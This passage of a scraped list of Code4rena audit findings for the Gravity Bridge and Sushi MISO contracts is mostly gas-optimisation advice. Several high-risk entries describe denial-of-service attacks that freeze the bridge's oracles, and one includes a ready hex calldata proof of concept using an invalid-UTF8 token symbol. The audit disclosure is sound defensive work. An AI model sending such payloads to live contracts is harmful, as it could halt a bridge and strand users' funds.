0.6.5](https://blog.soliditylang.org/2020/04/06/solidity-0.6.5-release-announcement/) introduced `immutable` as a major feature. It allows setting contract-level variables at construction time which gets stored in code rather than storage. Consider the following generic example: ``` solidity contract C { /// The owner is set during contruction time, and never changed afterwards. address public owner = msg.sender; } ``` In the above example, each call to the function `owner()` reads from storage, using a `sload`. After [EIP-2929](https://eips.ethereum.org/EIPS/eip-2929), this costs 2100 gas cold or 100 gas warm. However, the following snippet is more gas efficient: ``` solidity contract C { /// The owner is set during contruction time, and never changed afterwards. address public immutable owner = msg.sender; } ``` In the above example, each storage read of the `owner` state variable is replaced by the instruction `push32 value`, where `value` is set during contract construction time. Unlike the last example, this costs only 3 gas. ### Examples 1. 2. "}, {"title": "Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "# Handle defsec # Vulnerability details ## Impact In some cases, having function arguments in calldata instead of memory is more optimal. Consider the following generic example: ``` contract C { function add(uint[] memory arr) external returns (uint sum) { uint length = arr.length; for (uint i = 0; i < arr.length; i++) { sum += arr[i]; } } } ``` In the above example, the dynamic array arr has the storage location memory. When the function gets called externally, the array values are kept in calldata and copied to memory during ABI decoding (using the opcode calldataload and mstore). And during the for loop, arr[i] accesses the value in memory using a mload. However, for the above example this is inefficient. Consider the following snippet instead: ``` contract C { function add(uint[] calldata arr) external returns (uint sum) { uint length = arr.length; for (uint i = 0; i < arr.length; i++) { sum += arr[i]; } } } ``` In the above snippet, instead of going via memory, the value is directly read from calldata using calldataload. That is, there are no intermediate memory operations that carries this value. Gas savings: In the former example, the ABI decoding begins with copying value from calldata to memory in a for loop. Each iteration would cost at least 60 gas. In the latter example, this can be completely avoided. This will also reduce the number of instructions and therefore reduces the deploy time cost of the contract. In short, use calldata instead of memory if the function argument is only read. Note that in older Solidity versions, changing some function arguments from memory to calldata may cause \"unimplemented feature error\". This can be avoided by using a newer (0.8.*) Solidity compiler. Examples Note: The following pattern is prevalent in the codebase: ``` function f(bytes memory data) external { (...) = abi.decode(data, (..., types, ...)); } ``` Here, changing to bytes calldata will decrease the gas. The total savings for this change across all such uses would be quite significant. ## Proof Of Concept Examples: ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Factory.sol#L176 https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Factory.sol#L186 ``` ## Tools Used None ## Recommended Mitigation Steps Change memory definition with calldata. "}, {"title": "Caching the length in for loops", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Caching the length in for loops Consider a generic example of an array `arr` and the following loop: ``` solidity for (uint i = 0; i < arr.length; i++) { // do something that doesn't change arr.length } ``` In the above case, the solidity compiler will always read the length of the array during each iteration. That is, 1. if it is a `storage` array, this is an extra `sload` operation (100 additional extra gas ([EIP-2929](https://eips.ethereum.org/EIPS/eip-2929)) for each iteration except for the first), 2. if it is a `memory` array, this is an extra `mload` operation (3 additional gas for each iteration except for the first), 3. if it is a `calldata` array, this is an extra `calldataload` operation (3 additional gas for each iteration except for the first) This extra costs can be avoided by caching the array length (in stack): ``` solidity uint length = arr.length; for (uint i = 0; i < length; i++) { // do something that doesn't change arr.length } ``` In the above example, the `sload` or `mload` or `calldataload` operation is only called once and subsequently replaced by a cheap `dupN` instruction. Even though `mload`, `calldataload` and `dupN` have the same gas cost, `mload` and `calldataload` needs an additional `pushX value` to put the offset in the stack, i.e., an extra 3 gas. This optimization is especially important if it is a storage array or if it is a lengthy for loop. Note: this especially relevant for the IndexPool contract. Note that the Yul based optimizer (not enabled by default; only relevant if you are using `--experimental-via-ir` or the equivalent in standard JSON) can sometimes do this caching automatically. However, this is likely not the case in your project. [Reference](https://forum.soliditylang.org/t/solidity-team-ama-2-on-wed-10th-of-march-2021/152/15?u=hrkrshnn). ### Examples ``` text ./contracts/flat/BentoBoxV1Flat.sol:626: for (uint256 i = 0; i < calls.length; i++) { ./contracts/pool/PoolDeployer.sol:34: for (uint256 i; i < tokens.length - 1; i++) { ./contracts/pool/PoolDeployer.sol:36: for (uint256 j = i + 1; j < tokens.length; j++) { ./contracts/pool/franchised/FranchisedIndexPool.sol:73: for (uint256 i = 0; i < _tokens.length; i++) { ./contracts/pool/franchised/FranchisedIndexPool.sol:104: for (uint256 i = 0; i < tokens.length; i++) { ./contracts/pool/franchised/FranchisedIndexPool.sol:132: for (uint256 i = 0; i < tokens.length; i++) { ./contracts/pool/franchised/WhiteListManager.sol:105: for (uint256 i = 0; i < merkleProof.length; i++) { ./contracts/pool/IndexPool.sol:71: for (uint256 i = 0; i < _tokens.length; i++) { ./contracts/pool/IndexPool.sol:102: for (uint256 i = 0; i < tokens.length; i++) { ./contracts/pool/IndexPool.sol:129: for (uint256 i = 0; i < tokens.length; i++) { ./contracts/utils/TridentHelper.sol:27: for (uint256 i = 0; i < data.length; i++) { ./contracts/TridentRouter.sol:65: for (uint256 i; i < params.path.length; i++) { ./contracts/TridentRouter.sol:83: for (uint256 i; i < path.length; i++) { ./contracts/TridentRouter.sol:123: for (uint256 i; i < params.path.length; i++) { ./contracts/TridentRouter.sol:139: for (uint256 i; i < params.initialPath.length; i++) { ./contracts/TridentRouter.sol:149: for (uint256 i; i < params.percentagePath.length; i++) { ./contracts/TridentRouter.sol:157: for (uint256 i; i < params.output.length; i++) { ./contracts/TridentRouter.sol:181: for (uint256 i; i < tokenInput.length; i++) { ./contracts/TridentRouter.sol:223: for (uint256 i; i < minWithdrawals.length; i++) { ./contracts/TridentRouter.sol:225: for (; j < withdrawnLiquidity.length; j++) { ./contracts/TridentRouter.sol:274: for (uint256 i; i < tokenInput.length; i++) { ``` "}, {"title": "Upgrade to at least Solidity 0.8.4", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Upgrade to at least Solidity 0.8.4"}, {"title": "use of floating pragma ", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/42", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively. https://swcregistry.io/docs/SWC-103 ## Proof of Concept https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/solidity/contracts/Gravity.sol#L1 ## Tools Used manual review ## Recommended Mitigation Steps use fixed solidity version "}, {"title": "Gravity: Consider enforcing validation expiry on-chain", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/40", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "Gravity: Consider enforcing validation expiry on-chain"}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/39", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Style issues"}, {"title": "Pack structs tightly", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Gas efficiency can be achieved by tightly packing the struct. Struct variables are stored in 32 bytes each so you can group smaller types to occupy less storage. For example, startedAt or boughtAt in Auction struct hold block.number so realistically this does not need uint256 and you can consider storing it in lower type. You can read more here: https://fravoll.github.io/solidity-patterns/tight_variable_packing.html or in the official documentation: https://docs.soliditylang.org/en/v0.4.21/miscellaneous.html ## Recommended Mitigation Steps Search for an optimal size and order of structs to reduce gas usage. "}, {"title": "Cache values", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Cache values"}, {"title": "Actions can be frontrunned", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/33", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "Actions can be frontrunned"}, {"title": "Why nonces are not incrementing by 1 ?", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/32", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle pauliax # Vulnerability details ## Impact I am concerned why invalidationId, invalidationNonce or valsetNonce are only required to be greater than the previous value. Why did you choose this approach instead of just simply asking for an incremented value? While this may not be a problem if the validators are honest, but otherwise, they may submit a nonce of MAX UINT and thus block the whole system as it would be no longer possible to submit a greater value. Again, just wanted you to be aware of this issue, not sure how likely this to happen is in practice, it depends on the honesty of validators so you better know. ## Recommended Mitigation Steps I didn't receive an answer on Discord so decided to submit this FYI to decide if that's a hazard or no. "}, {"title": "Validations of parameters", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/31", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There are a few validations that could be added to the system: the constructor could check that _gravityId is not empty. state_powerThreshold should always be greater than 0, otherwise, anyone will be available to execute actions. ## Recommended Mitigation Steps Consider implementing suggested validations. "}, {"title": "Skip functionCall when the payload is empty", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/29", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Skip functionCall when the payload is empty"}, {"title": "powers in a decreasing order", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/27", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "powers in a decreasing order"}, {"title": "cumulativePower check should be inclusive", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/26", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "cumulativePower check should be inclusive"}, {"title": "logic calls can steal tokens", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/25", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "logic calls can steal tokens"}, {"title": "validator set can be updated with same set", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/23", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "validator set can be updated with same set"}, {"title": "Panics as error-handling", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/20", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "Panics as error-handling"}, {"title": "Downcasting Can Freeze The Chain", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/19", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Downcasting Can Freeze The Chain"}, {"title": "Anti-pattern `is_err()`, `return`, then `.unwrap()`", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/18", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Anti-pattern `is_err()`, `return`, then `.unwrap()`"}, {"title": "`Vec::new()` instead of `Iterator::collect()`", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/17", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "`Vec::new()` instead of `Iterator::collect()`"}, {"title": "Passing by ownership instead of borrowing", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/16", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Passing by ownership instead of borrowing"}, {"title": "The gravity.sol router should have pause/unpause functionality.", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/15", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "The gravity.sol router should have pause/unpause functionality."}, {"title": "Does the cosmos-sdk listen to only 1 gravity.sol contract address?", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/14", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "Does the cosmos-sdk listen to only 1 gravity.sol contract address?"}, {"title": "Possible miner incentive for chain reorgs if ETHBlockDelay is too small", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/12", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Possible miner incentive for chain reorgs if ETHBlockDelay is too small"}, {"title": "Crash Eth Oracle On Any LogicCallEvent", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/11", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle nascent # Vulnerability details **Severity: Medium** **Likelihood: High** In `eth_oracle_main_loop`, `get_last_checked_block` is called. Followed by: ```rust= let logic_call_executed_events = web3 .check_for_events( end_search.clone(), Some(current_block.clone()), vec![gravity_contract_address], vec![LOGIC_CALL_EVENT_SIG], ) .await; ``` and may hit the code path: ```rust= for event in logic_call_executed_events { match LogicCallExecutedEvent::from_log(&event) { Ok(call) => { trace!( \"{} LogicCall event nonce {} last event nonce\", call.event_nonce, last_event_nonce ); if upcast(call.event_nonce) == last_event_nonce && event.block_number.is_some() { return event.block_number.unwrap(); } } Err(e) => error!(\"Got ERC20Deployed event that we can't parse {}\", e), } } ``` But will panic at `from_log` here: ```rust= impl LogicCallExecutedEvent { pub fn from_log(_input: &Log) -> Result { unimplemented!() } // snip... } ``` It can/will also be triggered here in `check_for_events`: ```rust= let logic_calls = LogicCallExecutedEvent::from_logs(&logic_calls)?; ``` Attestations will be frozen until patched. ## Recommendation Implement the method. ## Recommended Mitigation Steps "}, {"title": "Large ValSets potentially freezes `Gravity.sol`", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/9", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Large ValSets potentially freezes `Gravity.sol`"}, {"title": "ERC20s that block transfer to particular addresses enable DoS/Censorship", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/8", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "ERC20s that block transfer to particular addresses enable DoS/Censorship"}, {"title": "Win all relayer rewards", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/7", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle nascent # Vulnerability details \"Large Validator Sets/Rapid Validator Set Updates May Freeze the Bridge or Relayer\" can affect just the relayers & not affect the oracle in certain circumstances. This could result in valid attestations, but prevent any of the other relayers from being able to participate in the execution. While the other relayers are down from the other attack, the attacker can win all batch, logic, and valset rewards as their node is the only relayer running. This is possible because `find_latest_valset` is run in the main relayer loop and everytime tries for 5000 blocks of logs. "}, {"title": "Large Validator Sets/Rapid Validator Set Updates May Freeze the Bridge or Relayers", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/6", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle nascent # Vulnerability details In a similar vein to \"Freeze The Bridge Via Large ERC20 Names/Symbols/Denoms\", a sufficiently large validator set or sufficiently rapid validator update could cause both the `eth_oracle_main_loop` and `relayer_main_loop` to fall into a state of perpetual errors. In `find_latest_valset`, [we call](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/orchestrator/relayer/src/find_latest_valset.rs#L33-L40): ```rust= let mut all_valset_events = web3 .check_for_events( end_search.clone(), Some(current_block.clone()), vec![gravity_contract_address], vec![VALSET_UPDATED_EVENT_SIG], ) .await?; ``` Which if the validator set is sufficiently large, or sufficiently rapidly updated, which continuous return an error if the logs in a 5000 (see: `const BLOCKS_TO_SEARCH: u128 = 5_000u128;`) block range are in excess of 10mb. Cosmos hub says they will be pushing the number of validators up to 300 (currently 125). At 300, each log would produce 19328 bytes of data (4\\*32+64\\*300). Given this, there must be below 517 updates per 5000 block range otherwise the node will fall out of sync. This will freeze the bridge by disallowing attestations to take place. This requires a patch to reenable the bridge. ## Recommendation Handle the error more concretely and check if you got a byte limit error. If you did, chunk the search size into 2 and try again. Repeat as necessary, and combine the results. "}, {"title": "Freeze The Bridge Via Large ERC20 Names/Symbols/Denoms", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/5", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle nascent # Vulnerability details Ethereum Oracles watch for events on the `Gravity.sol` contract on the Ethereum blockchain. This is performed in the [`check_for_events`](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/orchestrator/orchestrator/src/ethereum_event_watcher.rs#L23) function, ran in the [`eth_oracle_main_loop`](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/orchestrator/orchestrator/src/main_loop.rs#L94). In this function, there is [the following code snippet](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/orchestrator/orchestrator/src/ethereum_event_watcher.rs#L66-L73): ```rust= let erc20_deployed = web3 .check_for_events( starting_block.clone(), Some(latest_block.clone()), vec![gravity_contract_address], vec![ERC20_DEPLOYED_EVENT_SIG], ) .await; ``` This snippet leverages the `web30` library to check for events from the `starting_block` to the `latest_block`. Inside the `web30` library this nets out to calling: ```rust= pub async fn eth_get_logs(&self, new_filter: NewFilter) -> Result, Web3Error> { self.jsonrpc_client .request_method( \"eth_getLogs\", vec![new_filter], self.timeout, Some(10_000_000), ) .await } ``` The `10_000_000` specifies the maximum size of the return in bytes and returns an error if the return is larger: ```rust= let res: Response = match res.json().limit(limit).await { Ok(val) => val, Err(e) => return Err(Web3Error::BadResponse(format!(\"Web3 Error {}\", e))), }; ``` This can be triggered at will and keep the loop in a perpetual state of returning the `GravityError::EthereumRestError(Web3Error::BadResponse( \"Failed to get logs!\".to_string()))` error. To force the node into this state, you just have to deploy ERC20s generated by the [public function in `Gravity.sol`](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/solidity/contracts/Gravity.sol#L546-L565): ```solidity= function deployERC20( string memory _cosmosDenom, string memory _name, string memory _symbol, uint8 _decimals ) public { // Deploy an ERC20 with entire supply granted to Gravity.sol CosmosERC20 erc20 = new CosmosERC20(address(this), _name, _symbol, _decimals); // Fire an event to let the Cosmos module know state_lastEventNonce = state_lastEventNonce.add(1); emit ERC20DeployedEvent( _cosmosDenom, address(erc20), _name, _symbol, _decimals, state_lastEventNonce ); } ``` And specify a large string as the denom, name, or symbol. If an attacker uses the denom as the attack vector, they save significant gas costing just 256 per additional 32 bytes. For other cases, to avoid gas overhead, you can have the string be mostly 0s resulting in just 584 gas per additional 32 bytes. This leaves it feasible to surpass the 10mb response data in the 6 block buffer. This would throw every ethereum oracle into a state of perpetual errors and all would fall out of sync with the ethereum blockchain. This would result in the batches, logic calls, deposits, ERC20 creations, and valset updates to never receive attestations from other validators because their ethereum oracles would be down; the bridge would be frozen and remain frozen until the bug is fixed due to `get_last_checked_block`. This will freeze the bridge by disallowing attestations to take place. This requires a patch to reenable the bridge. ## Recommendation Handle the error more concretely and check if you got a byte limit error. If you did, chunk the search size into 2 and try again. Repeat as necessary, and combine the results. Additionally, you could require that validators sign ERC20 creation requests. "}, {"title": "Freeze Bridge via Non-UTF8 Token Name/Symbol/Denom", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/4", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle nascent # Vulnerability details Manual insertion of non-utf8 characters in a token name will break parsing of logs and will always result in the oracle getting in a loop of failing and early returning an error. The fix is non-trivial and likely requires significant redesign. # Proof of Concept Note the `c0` in the last argument of the call data (invalid UTF8). It can be triggered with: ```solidity= data memory bytes = hex\"f7955637000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000461746f6d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000046e616d6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000673796d626fc00000000000000000000000000000000000000000000000000000\"; gravity.call(data); ``` The log output is as follows: ``` ERC20DeployedEvent(\"atom\", \"name\", \u276eutf8 decode failed\u276f: 0x73796d626fc0, 18, 2) ``` Which hits [this code path](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/orchestrator/gravity_utils/src/types/ethereum_events.rs#L431-L438): ```rust= let symbol = String::from_utf8(input.data[index_start..index_end].to_vec()); trace!(\"Symbol {:?}\", symbol); if symbol.is_err() { return Err(GravityError::InvalidEventLogError(format!( \"{:?} is not valid utf8, probably incorrect parsing\", symbol ))); } ``` And would cause an early return [here](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/orchestrator/orchestrator/src/ethereum_event_watcher.rs#L99): ```rust= let erc20_deploys = Erc20DeployedEvent::from_logs(&deploys)?; ``` Never updating last checked block and therefore, this will freeze the bridge by disallowing any attestations to take place. This is an extremely low cost way to bring down the network. ## Recommendation This is a hard one. Resyncing is permanently borked because on the Go side, there is seemingly no way to ever process the event nonce because protobufs do not handle non-utf8 strings. The validator would report they need event nonce `N` from the orchestrator, but they can never parse the event `N`. Seemingly, validators & orchestrators would have to know to ignore that specific event nonce. But it is a permissionless function, so it can be used to effectively permanently stop attestations & the bridge until a new `Gravity.sol` is deployed. One potential fix is to check in the solidity contract if the name contains valid utf8 strings for denom, symbol and name. This likely will be expensive though. Alternatively, you could require that validators sign ERC20 creation requests and perform checks before the transaction is sent. "}, {"title": "Smart Contract Gas Optimization", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle ElliotFriedman # Vulnerability details ## Impact Currently, submitBatch, updateValset, deployERC20 and submitLogicCall all have arguments that are in memory. This causes calls to these functions to be more expensive than they need to be. By moving to external functions and upgrading the compiler version, there will be gas savings. The larger the amount of data being submitted to the contracts, the greater the savings as the cost of memory in the EVM goes up quadratically with the amount of data stored. ## Tools Used Hardhat ## Recommended Mitigation Steps Make all functions that you can external instead of public, especially the ones mentioned above that will see large transaction volumes, and change the data types from memory to external. This may involve changing compiler versions to 0.8.0 or greater to support using structs as external types. "}, {"title": "Inconsistent Template Deletion", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/151", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Inconsistent Template Deletion"}, {"title": "Inaccurate Function Name `enableList()`", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/149", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Inaccurate Function Name `enableList()`"}, {"title": "Missing `uint256` Cast", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/148", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Missing `uint256` Cast"}, {"title": "Improper Boolean Comparison", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/144", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Improper Boolean Comparison"}, {"title": "Use a struct for raw data.", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/143", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Use a struct for raw data."}, {"title": "Certain view functions should be used only by UI and not by the code", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/142", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "Certain view functions should be used only by UI and not by the code"}, {"title": "Add input validation on some methods", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/141", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Add input validation on some methods"}, {"title": "Consider using a solidity version >= 0.8.0", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/138", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Consider using a solidity version >= 0.8.0"}, {"title": "An adversarial attacker can initialize ListFactory", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/137", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "An adversarial attacker can initialize ListFactory"}, {"title": "Requiring a decimals method for ERC-20 tokens is non-standard", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/136", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "Requiring a decimals method for ERC-20 tokens is non-standard"}, {"title": "Caching `totalPoints` during `setPoints` method", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Caching `totalPoints` during `setPoints` method Instead of constantly writing to the same slot in a for loop, write it once at the end. This would save `100` gas for each iteration of the for loop. (Since [EIP-2929](https://eips.ethereum.org/EIPS/eip-2929), the cost of writing to a dirty storage slot is 100 gas) ``` diff modified contracts/Access/PointList.sol @@ -65,6 +65,7 @@ contract PointList is IPointList, MISOAccessControls { function setPoints(address[] memory _accounts, uint256[] memory _amounts) external override { require(hasAdminRole(msg.sender) || hasOperatorRole(msg.sender), \"PointList.setPoints: Sender must be operator\"); require(_accounts.length != 0, \"PointList.setPoints: empty array\"); require(_accounts.length == _amounts.length, \"PointList.setPoints: incorrect array length\"); + uint totalPointsCache = totalPoints; for (uint i = 0; i < _accounts.length; i++) { address account = _accounts[i]; uint256 amount = _amounts[i]; @@ -72,9 +73,10 @@ contract PointList is IPointList, MISOAccessControls { if (amount != previousPoints) { points[account] = amount; - totalPoints = totalPoints.sub(previousPoints).add(amount); + totalPointsCache = totalPointsCache.sub(previousPoints).add(amount); emit PointsUpdated(account, previousPoints, amount); } } + totalPoints = totalPointsCache; } } ``` "}, {"title": "Consider having short revert strings", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/134", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Consider having short revert strings"}, {"title": " Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle defsec # Vulnerability details ## Impact In some cases, having function arguments in calldata instead of memory is more optimal. Consider the following generic example: ``` contract C { function add(uint[] memory arr) external returns (uint sum) { uint length = arr.length; for (uint i = 0; i < arr.length; i++) { sum += arr[i]; } } } ``` In the above example, the dynamic array arr has the storage location memory. When the function gets called externally, the array values are kept in calldata and copied to memory during ABI decoding (using the opcode calldataload and mstore). And during the for loop, arr[i] accesses the value in memory using a mload. However, for the above example this is inefficient. Consider the following snippet instead: ``` contract C { function add(uint[] calldata arr) external returns (uint sum) { uint length = arr.length; for (uint i = 0; i < arr.length; i++) { sum += arr[i]; } } } ``` In the above snippet, instead of going via memory, the value is directly read from calldata using calldataload. That is, there are no intermediate memory operations that carries this value. Gas savings: In the former example, the ABI decoding begins with copying value from calldata to memory in a for loop. Each iteration would cost at least 60 gas. In the latter example, this can be completely avoided. This will also reduce the number of instructions and therefore reduces the deploy time cost of the contract. In short, use calldata instead of memory if the function argument is only read. Note that in older Solidity versions, changing some function arguments from memory to calldata may cause \"unimplemented feature error\". This can be avoided by using a newer (0.8.*) Solidity compiler. Examples Note: The following pattern is prevalent in the codebase: ``` function f(bytes memory data) external { (...) = abi.decode(data, (..., types, ...)); } ``` Here, changing to bytes calldata will decrease the gas. The total savings for this change across all such uses would be quite significant. ## Proof Of Concept Examples: `https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L297` ## Tools Used None ## Recommended Mitigation Steps Change memory definition with calldata. "}, {"title": "## Caching the length in for loops", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/132", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "## Caching the length in for 